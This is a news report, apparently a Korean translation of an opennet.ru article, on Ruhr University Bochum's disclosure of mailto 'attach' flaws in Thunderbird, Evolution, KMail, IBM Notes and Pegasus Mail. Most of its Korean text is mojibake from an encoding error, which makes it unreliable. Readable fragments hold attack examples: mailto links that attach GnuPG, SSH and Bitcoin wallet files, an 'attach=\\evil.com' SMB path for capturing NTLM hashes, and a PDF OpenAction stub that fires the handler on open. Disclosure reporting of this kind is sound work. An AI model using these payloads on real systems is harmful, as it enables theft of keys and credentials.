๋ฃจ๋ฅด๋ํ๊ต ๋ณดํ(๋
์ผ) ์ฐ๊ตฌ์ง
์ฐ๊ฒฐ "
๋ฉ์ผ ํด๋ผ์ด์ธํธ Thunderbird, GNOME Evolution(CVE-2020-11879), KDE KMail(CVE-2020-11880), IBM/HCL Notes(CVE-2020-4089) ๋ฐ Pegasus Mail์ ์๋์ผ๋ก ์ฒจ๋ถํ ์ ์๋ ์ฌ์ํ ๊ณต๊ฒฉ์ ์ทจ์ฝํ์ต๋๋ค. "mailto:?attach=path_to_file"๊ณผ ๊ฐ์ ๋งํฌ๋ฅผ ํตํด ์ง์ ๋ ๋ชจ๋ ๋ก์ปฌ ํ์ผ. ํ์ผ์ ๊ฒฝ๊ณ ํ์ ์์ด ์ฒจ๋ถ๋๊ธฐ ๋๋ฌธ์, ์ฌ์ฉ์๊ฐ ํน๋ณํ ์ฃผ์๋ฅผ ๊ธฐ์ธ์ด์ง ์์ผ๋ฉด ํธ์ง๊ฐ ์ฒจ๋ถ์ ํจ๊ป ์ ์ก๋๋ค๋ ๊ฒ์ ์ฌ์ฉ์๊ฐ ๋์น์ฑ์ง ๋ชปํ ์๋ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด 'mailto:[์ด๋ฉ์ผ ๋ณดํธ]&subject=Title&body=Text&attach=~/.gnupg/secring.gpg" ํธ์ง์ GnuPG์ ๊ฐ์ธ ํค๋ฅผ ์ฝ์ ํ ์ ์์ต๋๋ค. ์ํธํํ ์ง๊ฐ(~/.bitcoin/wallet.dat), SSH ํค(~/.ssh/id_rsa) ๋ฐ ์ฌ์ฉ์๊ฐ ์ก์ธ์คํ ์ ์๋ ๋ชจ๋ ํ์ผ์ ์ฝํ ์ธ ๋ฅผ ๋ณด๋ผ ์๋ ์์ต๋๋ค. ๊ฒ๋ค๊ฐ Thunderbird์์๋ "attach=/tmp/*.txt"์ ๊ฐ์ ๊ตฌ์ฑ์ ์ฌ์ฉํ์ฌ ๋ง์คํฌ๋ก ํ์ผ ๊ทธ๋ฃน์ ์ฒจ๋ถํ ์ ์์ต๋๋ค.
๋ก์ปฌ ํ์ผ ์ธ์๋ ์ผ๋ถ ์ด๋ฉ์ผ ํด๋ผ์ด์ธํธ๋ IMAP ์๋ฒ์ ๋คํธ์ํฌ ์ ์ฅ์ ๋ฐ ๊ฒฝ๋ก์ ๋ํ ๋งํฌ๋ฅผ ์ฒ๋ฆฌํฉ๋๋ค. ํนํ IBM Notes๋ฅผ ์ฌ์ฉํ๋ฉด "attach=\\evil.com\dummyfile"๊ณผ ๊ฐ์ ๋งํฌ๋ฅผ ์ฒ๋ฆฌํ ๋ ๋คํธ์ํฌ ๋๋ ํฐ๋ฆฌ์์ ํ์ผ์ ์ ์กํ ์ ์์ ๋ฟ๋ง ์๋๋ผ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ โโSMB ์๋ฒ์ ๋งํฌ๋ฅผ ๋ณด๋ด NTLM ์ธ์ฆ ๋งค๊ฐ๋ณ์๋ฅผ ๊ฐ๋ก์ฑ ์ ์์ต๋๋ค. (์์ฒญ์ ํ์ฌ ์ธ์ฆ ๋งค๊ฐ๋ณ์ ์ฌ์ฉ์์ ํจ๊ป ์ ์ก๋ฉ๋๋ค).
Thunderbird๋ IMAP ์๋ฒ์ ์๋ ํด๋์ ์ฝํ
์ธ ๋ฅผ ์ฒจ๋ถํ ์ ์๋ "attach=imap:///fetch>UID>/INBOX>1/"์ ๊ฐ์ ์์ฒญ์ ์ฑ๊ณต์ ์ผ๋ก ์ฒ๋ฆฌํฉ๋๋ค. ๋์์ OpenPGP ๋ฐ S/MIME์ ํตํด ์ํธํ๋ IMAP์์ ๊ฒ์๋ ๋ฉ์์ง๋ ์ ์กํ๊ธฐ ์ ์ ๋ฉ์ผ ํด๋ผ์ด์ธํธ์ ์ํด ์๋์ผ๋ก ํด๋
๋ฉ๋๋ค. ์ฌ๋๋ฒ๋์ ๊ฐ๋ฐ์๋ค์
Thunderbird์ ์ด์ ๋ฒ์ ์ ์ฐ๊ตฌ์๋ค์ด ์ ์ํ PGP ๋ฐ S/MIME์ ๋ํ ๋ ๊ฐ์ง ๋ค๋ฅธ ๊ณต๊ฒฉ ๋ณ์ข ์๋ ์ทจ์ฝํ์ต๋๋ค. ํนํ Thunderbird๋ OutLook, PostBox, eM Client, MailMate, R2Mail2 ๋ฟ๋ง ์๋๋ผ ๋ฉ์ผ ํด๋ผ์ด์ธํธ๊ฐ S/MIME ๋ฉ์์ง๋ก ์ ์ก๋ ์๋ก์ด ์ธ์ฆ์๋ฅผ ์๋์ผ๋ก ๊ฐ์ ธ์์ ์ค์นํ๋ค๋ ์ ์์ ํค ๊ต์ฒด ๊ณต๊ฒฉ์ ๋ฐ์์ต๋๋ค. ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์๊ฐ ์ด๋ฏธ ์ ์ฅํ ๊ณต๊ฐ ํค์ ๋์ฒด๋ฅผ ์กฐ์งํฉ๋๋ค.
Thunderbird, PostBox ๋ฐ MailMate๊ฐ ์ทจ์ฝํ ๋ ๋ฒ์งธ ๊ณต๊ฒฉ์ ์ด์ ๋ฉ์์ง๋ฅผ ์๋ ์ ์ฅํ๋ ๋ฉ์ปค๋์ฆ์ ๊ธฐ๋ฅ์ ์กฐ์ํ๊ณ mailto ๋งค๊ฐ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ ์ํธํ๋ ๋ฉ์์ง์ ์ํธ ํด๋ ์ด๋ ์์ ๋ฉ์์ง์ ๋ํ ๋์งํธ ์๋ช ์ถ๊ฐ๋ฅผ ์์ํ๋๋ก ํ์ฉํฉ๋๋ค. ๊ฒฐ๊ณผ๋ ๊ณต๊ฒฉ์์ IMAP ์๋ฒ๋ก ํ์ ์ ์ก๋ฉ๋๋ค. ์ด ๊ณต๊ฒฉ์์๋ ์ํธ๋ฌธ์ด "body" ๋งค๊ฐ๋ณ์๋ฅผ ํตํด ์ ์ก๋๊ณ "meta Refresh" ํ๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ์์ IMAP ์๋ฒ์ ๋ํ ํธ์ถ์ ์์ํฉ๋๋ค. ์๋ฅผ ๋ค์ด: ' '
์ฌ์ฉ์ ์ํธ ์์ฉ ์์ด "mailto:" ๋งํฌ๋ฅผ ์๋์ผ๋ก ์ฒ๋ฆฌํ๋ ค๋ฉด ํน๋ณํ ์ค๊ณ๋ PDF ๋ฌธ์๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. PDF์ OpenAction ์์ ์ ์ฌ์ฉํ๋ฉด ๋ฌธ์๋ฅผ ์ด ๋ ์๋์ผ๋ก mailto ์ฒ๋ฆฌ๊ธฐ๋ฅผ ์์ํ ์ ์์ต๋๋ค.
%PDF-1.5
1 0๊ฐ
<< /์ ํ /์นดํ๋ก๊ทธ /OpenAction [2 0 R] >>
์๋๋ธ
2 0๊ฐ
<< /Type /Action /S /URI/URI (mailto:?body=โโPGP ๋ฉ์์ง ์์โโ[โฆ])>>
์๋๋ธ
์ถ์ฒ : opennet.ru